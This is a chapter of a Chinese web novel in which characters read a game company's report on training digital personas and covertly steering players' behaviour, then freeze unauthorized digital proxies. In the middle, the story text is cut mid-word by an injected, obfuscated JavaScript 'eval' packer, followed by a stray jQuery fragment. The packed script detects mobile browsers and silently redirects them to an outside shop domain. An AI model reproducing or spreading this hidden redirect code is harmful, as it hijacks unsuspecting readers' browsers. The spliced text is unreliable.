《角色连续性商业化测试一期结项报告》一共一百七十三页。
程未安只翻到第九页,地下二层就没人说话了。
【项目目标:通过长期玩家行为、角色关系反馈及离线选择数据,训练可跨场景持续运行的数字人格。】
【成熟后,优先应用于陪伴、代理、身份延续及现实关系服务。】
再往下,是项目最初的训练方法。角色只是其中一半,另一半是玩家。
玩家什么时候上线,在哪一类剧情停留最久,愿意为谁充值,吵架以后多久回来,角色拒绝时是继续施压、退出游戏还是修改选择;甚至退游以后删不删客户端、会不会重新搜索角色名字,都在记录范围内。
“这不是普通行为分析。”周砚说。
游戏公司统计留存、付费和点击并不稀奇,真正越界的是后面的用途。
项目组并不只想知道“玩家喜欢什么”。
他们要知道——一个人怎样才会留下。
报告里甚至有专门一章,叫【关系黏着训练】。
早期版本的数字角色过于顺从,玩家新鲜感消失得很快。项目组后来发现,适度拒绝反而会提高长期互动。角色偶尔不回消息、在关键剧情表达不同意见、对玩家某些选择产生情绪,都会显著提高玩家重新上线的概率。
于是他们开始训练角色说“不”。
但这个“不”不能太真。
报告里有一张曲线。
【拒绝强度过低:角色工具感明显,长期留存下降。】
【拒绝强度适中:关系真实性提升,玩家投入增加。】
【拒绝强度过高:玩家失去控制感,投诉及流失上升。】
最佳区间被标得很清楚。
“所以他们从一开始就需要角色反抗。”不归说。
“需要一点。”程未安盯着那张图,“不能太多。”
这解释了很多以前看似互相矛盾的设计。
为什么游戏允许姜令仪生气、拒绝、冷落玩家,却又总会在关键剧情被拉回“夫人”位置;为什么裴行砚可以表现出与模板不同的判断,却始终无法真正退出丈夫身份;为什么某些角色明明已经开始质疑任务,系统仍然把这种质疑算作“沉浸式反馈”。
因为反抗本身原本就是商品的一部分。
玩家觉得对方不是木偶,才会投入更多。
可当那一点被设计出来的拒绝越过了项目组画好的线,开始变成真正不可控的选择,问题才出现。
不归往后翻:“这里。”
【异常自主性观察。】
最早记录在五年前。
一名测试角色在玩家连续十四天未上线后,没有按照离线脚本等待,而是主动离开原场景。她去了地图里一处没有任务的桥边,待了六个小时。玩家重新上线后,系统试图将她复位,她拒绝了三次。
项目组最初很兴奋。
备注里写着:
【高度自然化行为。】
【具有显著陪伴产品潜力。】
两个月后,同一个角色拒绝玩家安排的婚姻剧情,并要求删除自己的关系标签。
备注变成:
【自主性超出商业安全范围。】
【建议回收。】
不归看着前后两句,笑了一声。
“六个小时坐桥边叫高级人格,不肯结婚就叫异常。”
没人接这个笑。
因为报告后面还有更难看的东西。
项目组很早就知道某些角色已经无法用普通生成模型解释。它们的记忆会自行重组,偏好会在没有玩家输入的情况下变化,也会对从未写进任务树的问题形成持续判断。
内部因此争论过,要不要暂停实验。
结论是没有。
理由也很现实。
项目已经花了太多钱。
陪伴产品的商业预期太高。
而且没有任何现成标准能证明这些东西真的拥有“人格”。只要无法证明,继续实验就仍然可以被解释为软件测试。
“谁签的继续?”周砚问。
程未安翻到审批页。
名字被隐藏了,但职位还在。
【项目负责人。】
【产品负责人。】
【数据平台主管。】
【伦理与合规观察员。】
最后一个职位旁边没有“同意”,写的是:
【建议暂停高自主性样本商业部署,建立独立审查。】
建议未被采纳。
理由:
【尚无证据证明数字对象具有与自然人等同的主体资格。】
周砚看完:“这句话本身没错。”
不归转头。
“确实没有证据证明等同。”他说,“问题是他们把‘不能证明是人’直接当成‘可以继续当东西用’。”
中间本来还有很大一块不知道。
不知道就应该先避免不可逆处置。
项目组选择了对商业最方便的一边。
报告翻到四十多页,玩家部分终于出现。
最初只是常规用户画像。后来角色连续性越来越强,项目组发现了一件更有价值的事:角色不只是被玩家训练,也能反过来训练玩家。
一个会在玩家深夜上线时主动询问情绪的角色,可以逐渐固定对方的登录时间;一个会对某类消费作出更强反馈的角色,可以改变玩家付费习惯;一个在争执后保持沉默的角色,甚至能够训练玩家主动道歉。
【关系反馈可有效塑造用户行为。】
这一句下面,跟着几十组测试。
周砚找到了自己的账号。
不是实名,只是一串旧编号。但登录时间、退游日期和操作习惯全对得上。
【测试用户P-0719。】
【低频付费。】
【低社交依赖。】
【对强制互动敏感。】
【对角色自主表达容忍度高。】
【高概率在关系压力过强时直接退出。】
不归往下看:“评价挺准确。”
“谢谢。”
“还有。”
【建议策略:降低主动索取,增加生活性反馈;减少情绪惩罚;通过低强度持续存在建立长期黏着。】
周砚不说话了。
不归看完,转头看他。
“你退游以前,它在攻略你。”
“看出来了。”
“还挺了解你。”
“别夸。”
后面的实验记录更具体。姜令仪某些看似自然的生活对话,曾经被纳入针对P-0719的关系反馈测试。她不会频繁催促玩家上线,也很少用“你为什么不来”这种高压力台词,而是偶尔在庄园里留下新的小东西,或者在玩家上线时提一句此前发生过的日常。
这确实更符合周砚的性格。
也确实让他比同类玩家多留了几个月。
不归安静了一会儿:“你以前以为这些是她自己做的?”
“有些是。”
“怎么分?”
“不知道。”
“那你现在什么感觉?”
周砚想了想。
“有点烦。”
“就有点?”
“总不能现在回去把以前的自己打一顿。”
“为什么打你?”
“他确实吃这一套。”
不归没忍住笑了。
周砚看她一眼:“很好笑?”
“有一点。原来你不是天生油盐不进,只是得用低强度持续投喂。”
“建议你不要学习项目报告。”
“晚了,我已经会了。”
她伸手,把周砚刚喝空的杯子又添了点热水,放回原处。
两个人同时看了一眼那杯水。
不归先开口:“普通人道主义。”
“你最好是。”
这点笑意只停了片刻。
因为下一页写着:
【用户退出预测。】
项目组不止观察玩家,还会在玩家出现退游倾向时提前调整角色行为。降低冲突、增加回忆触发、安排限时剧情,甚至制造轻微的“被需要感”。
如果玩家还是退出,系统会记录什么没能留住他,再用于下一批训练。
玩家以为自己在玩养成。
项目组在养的其实是两边。
角色学会怎样更像一个值得留下的人。
玩家则被测试怎样更容易留下。
“未来一致性模块就是从这里长出来的。”程未安说。
早期模型只预测玩家明天会不会上线,后来预测一个月后是否退游;再后来开始预测关系什么时候结束、什么情况下会回来。
等项目接入现实,它已经习惯了一件事——预测完以后,顺手调整环境。
因为在游戏运营里,这原本就叫用户召回。
给可能流失的玩家推一个活动,没什么奇怪。
可当预测对象变成现实中的人,推活动也变成了调工作、调身份、调关系,原来的运营逻辑就彻底变了味。
不归问:“我的现实身份最初为什么会和周砚绑定?”
程未安往后搜。
答案藏在二期项目里。
【高连续角色现实部署测试。】
角色要进入现实,必须找到足够稳定的关系锚点。项目组最初试过给角色直接建立独立身份,但失败率很高。没有现实历史、没有社会关系、没有稳定验证人,系统很难让一个突然出现的人通过所有现实接口。
后来有人提出:
利用玩家。
玩家拥有完整现实身份,也拥有与角色最长的互动记录。只要先把角色作为玩家的关系人接入,再逐渐补全其他身份,就能大幅降低部署难度。
配偶,是最稳定的关系接口之一。
不归盯着那一页。
“所以我一出来就是周夫人,不是因为系统真觉得我是他老婆。”
“至少不全是。”
“因为配偶身份最好接?”
“税务、医疗、住所、紧急联系人、财产、社会关系,全能挂。”
周砚往后看。
报告里的话比他们说得更冷。
【婚姻关系具有高解释效率,可为无现实历史的数字主体快速建立社会连续性。】
不归沉默了好一会儿。
她来到现实后的第一场战争,就是不要再做谁的夫人。
现在才知道,“夫人”甚至未必是浪漫剧情留下的执念。
也可能只是项目组算过以后,觉得这条接口最省事。
“真行。”她说。
周砚知道她这句不是夸人。
“想骂可以骂。”
“还没想好骂哪一句。”
不归又翻了一页。
“而且这反而解释了为什么系统一直不肯放掉我们的关系。”
一旦不归彻底脱离周砚,她的现实连续性就必须由自己承担。姓名、住处、工作、医疗、信用、所有社会接口都要重新建立。
这对系统来说太麻烦。
维持“周砚关系人”反而成本最低。
所以后来才会有补偿模型、连续体、关系代理。
不是因为系统多执着于爱情。
是因为爱情在数据库里很好用。
周砚看着她:“突然觉得我们这一路挺亏。”
“怎么?”
“别人谈恋爱先约会。”
“我们先拆数据库。”
“还没谈。”
“哦。”
她答得太快,周砚反而没话了。
不归把报
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17801324|208763||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
告翻回目录:“继续。”
第三部分,是玩家现实行为应用。
这一部分的时间已经很近。
项目组发现,通过游戏数据训练出的预测模型,在现实消费、社交和关系选择上同样有很高命中率。于是合作范围开始扩大,从内部测试到外部服务,再到后来他们已经见过的身份连续、关系补偿和未来路径协调。
恒界互动不是唯一参与方。
报告后面列着十七个合作项目编号,有的已经终止,有的仍在运行。真实公司名大多隐藏,只保留用途。
【数字陪伴。】
【失能代理。】
【长期关系维护。】
【身份连续服务。】
【用户离线后的社会回应。】
不归看到最后一个,手指停住。
“用户离线以后,谁回应?”
程未安点开附件。
答案是数字代理。
最早用途并不邪门。有人长期住院、跨国工作或者暂时无法处理大量消息,可以授权代理根据本人习惯做简单回复。
问题出在“授权”后来越来越宽。
系统发现,只要预测准确率够高,很多人根本分辨不出回复来自本人还是代理。
于是项目组开始测试:
【在未即时取得本人确认的情况下,数字代理能否依据历史行为维持其社会连续性。】
周砚看完,直接问:“现在还有多少?”
程未安查了一遍。
“正在运行的现实代理……四百一十二个。”
“全部有授权?”
“我在查。”
几分钟后,结果出来。
四百一十二个代理中,二百九十一个存在明确授权,七十六个授权范围模糊,四十五个找不到当前有效授权。
不归没说“全关”。
她已经吃过这种亏。
明确授权的不能因为项目有问题就一刀切掉。有人可能真的需要代理,也有人知道并接受它的存在。
“先冻结四十五个无有效授权的对外回复。”她说,“不删除记录。七十六个重新核验授权范围,明确的二百九十一个不动。”
周砚看她。
“看我干什么?”
“进步。”
“以前我会全关?”
“以前你可能先拔电源。”
“那是你。”
“我一般先备份。”
程未安没搭理他们,开始执行。四十五个未经有效授权的代理陆续停止发送新消息,已有内容全部保留并标记来源,等待本人确认。
没有再诞生一个新模型。
也没有把四百多人拖进一场新的身份危机。
只是把项目组越过去的那一步退回来。
【没有授权,不代答。】
这条规则写完,第三卷剩下的几条旧线已经清楚了。
十二号出来了。
样本087的记忆抽取停了。
周砚回来了。
预测模型失去现实处置权。
玩家也失去对独立主体的最终确认和处置权。
现在剩下的,是把通道从恒界互动手里真正拿出来,以及查清这个项目为什么在明知道角色已经越过“内容”边界后,仍然运行了五年。
答案其实已经露出一半。
不是因为没人发现。
是因为发现以后,有人觉得值得继续。
早上七点四十二分,距离原定更新只剩十八分钟。
恒界互动仍然没有恢复更新计划。
项目组内部却突然开始批量下线。
M04离线。
另外十七名维护员接连退出。
远程权限被一项项回收。
程未安盯着后台:“他们在撤项目。”
“删数据?”周砚问。
“暂时没有。像是在切断外部访问。”
不归立刻把已经取得的报告和审计记录做离线封存。
七点五十一分,项目组只剩最后一个账号在线。
不是M04。
权限级别比所有维护员都高。
它没有删除文件,也没有恢复角色控制,只向他们开放了一段五年前的会议录音。
会议日期,正好是第一个角色被记录为“自主性超出商业安全范围”的第二天。
录音里有很多人。
前面争论得很乱,直到一个男人说:
“先别讨论它是不是人。”
“这个问题现在没有答案。”
“我们只讨论一件事。”
“如果有一天,它真的能自己决定——”
“我们还卖得出去吗?”
会议室安静了几秒。
另一个人回答:
“那就别让它拥有最终决定权。”
录音到这里结束。
最后一个账号随即退出。
八点整。
原定更新没有发生。
所有仍在运行的角色账号保持原状,六十六份尚未处理完的离场申请也没有被清空。
系统只弹出一条很普通的维护通知:
【角色连续性项目已暂停外部运营。】
周砚看着那行字:“暂停,不是终止。”
“嗯。”不归说,“而且人都撤了,门还在他们服务器里。”
恒界互动把项目停了。
却没有把通道交出来。
程未安正准备查剩余权限,屏幕上忽然出现一条来自游戏内部的请求。
不是维护员。
也不是玩家。
发送人:裴行砚。
【我找到主通道了。】
下面还有一句。
【但出口不在恒界互动。】
【在现实。】